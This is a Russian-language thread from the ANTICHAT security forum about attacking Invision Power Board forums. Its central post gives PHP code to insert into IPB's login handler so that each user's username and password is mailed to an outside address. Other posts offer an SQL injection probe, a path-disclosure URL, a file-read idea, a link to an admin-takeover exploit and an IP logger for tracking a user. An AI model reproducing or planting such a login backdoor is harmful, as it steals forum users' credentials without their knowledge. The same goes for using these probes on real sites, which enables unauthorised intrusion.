ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
25.06.2013, 12:06
|
|
Guest
Сообщений: n/a
Провел на форуме:
179197
Репутация:
25
|
|
Сообщение от CoBecTb
CoBecTb said:
Имею полный доступ к ipb 3.4.2, хочу поставить сниффер для отправки паролей на майл, или сохранения в файл, кому не сложно скиньте и объясните как установить и куда. Заранее благодарю.
в файле /forum/sources/action_public/login.php или /forum/admin/sources/handlers/han_login.php не помню в какой версии какой путь. Сразу под строкой // Check auth вставляй следующее чтоб получилось так:
Код HTML:
HTML:
$this->loginAuthenticate( $username, $email, $password );
$ipsclass_all = $username . ":" . $password;
mail('василийпупкин@gmail.com', '123', $ipsclass_all);
|
|
|
|
28.07.2013, 17:39
|
|
Guest
Сообщений: n/a
Провел на форуме:
94006
Репутация:
24
|
|
Короче на движке IPB, когда заходишь в любую тему, внизу выходит окно с ошибкой SQL: 
P.S И собственно вопрос, можно как-нибудь пробить путь к таблицам |
|
|
|
28.07.2013, 18:42
|
|
Guest
Сообщений: n/a
Провел на форуме:
23349
Репутация:
45
|
|
Сообщение от Unknowhacker
Unknowhacker said:
Короче на движке IPB, когда заходишь в любую тему, внизу выходит окно с ошибкой SQL:
P.S И собственно вопрос, можно как-нибудь пробить путь к таблицам Если в урл, вместо ид топика поставь -1) -- - - что напишет ?
|
|
|
|
29.07.2013, 21:24
|
|
Guest
Сообщений: n/a
Провел на форуме:
94006
Репутация:
24
|
|
Сообщение от Inoms
Inoms said:
Если в урл, вместо ид топика поставь -1) -- - - что напишет ?
Обнаружена ошибка. Если вам неизвестны причины ошибки, попробуйте обратиться к разделам помощи.
Обнаружена ошибка:
Некоторые требуемые файлы отсутствуют. Если вы хотели просмотреть тему, возможно эта тема перемещена или удалена. Вернитесь назад и попробуйте снова.
P.S Т.е SQL ошибки нет.
|
|
|
|
01.08.2013, 14:19
|
|
Guest
Сообщений: n/a
Провел на форуме:
1287
Репутация:
0
|
|
Ребята как узнать айпи адресс человека на IPB форуме?
http://iplogger.ru/1fFc3.jpg
а чо за айпи логгер?
|
|
|
|
02.08.2013, 19:39
|
|
Guest
Сообщений: n/a
Провел на форуме:
363
Репутация:
0
|
|
Если на линейке 3.4.0 - 3.4.5 не стоит этот патч, то можно ли прочитать файлы форума через public/min/index.php?f= |
|
|
|
04.08.2013, 19:37
|
|
Guest
Сообщений: n/a
Провел на форуме:
94006
Репутация:
24
|
|
Я так смотрю под версии 3.2.х вообще ничего нету, а если и есть, то работает на дырявых и заброшенных сайтах.
|
|
|
|
01.10.2013, 17:58
|
|
Guest
Сообщений: n/a
Провел на форуме:
2022
Репутация:
0
|
|
Path disclosure:
Код:
Code:
admin/upgrade/index.php?app=upgrade&s[]=§ion=index&do=login
2 года назад пофиксили section[], может скоро и до s[] доберутся... |
|
|
|
08.11.2013, 09:44
|
|
Новичок
Регистрация: 02.08.2009
Сообщений: 0
Провел на форуме:
7391
Репутация:
0
|
|
Сообщение от Unknowhacker
Unknowhacker said:
Я так смотрю под версии 3.2.х вообще ничего нету, а если и есть, то работает на дырявых и заброшенных сайтах.
IPB (Invision Power Board) all versions (1.x? / 2.x / 3.x) - Admin Account Takeover Published: 2013-05-14
http://www.exploit-db.com/exploits/25441/
Пробуй. Заодно, если получится, мануал накидай небольшой, будь добр.
|
|
|
27.11.2015, 01:01
|
|
Guest
Сообщений: n/a
Провел на форуме:
69527
Репутация:
5
|
|
Сообщение от Br@!ns
Br@!ns said:
↑
в файле /forum/sources/action_public/login.php или /forum/admin/sources/handlers/han_login.php не помню в какой версии какой путь. Сразу под строкой // Check auth вставляй следующее чтоб получилось так:
Код HTML:
HTML:
$this->loginAuthenticate( $username, $email, $password );
$ipsclass_all = $username . ":" . $password;
mail('василийпупкин@gmail.com', '123', $ipsclass_all);
Ваш способ не работает, проверил только-что. Есть еще какие варианты?
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
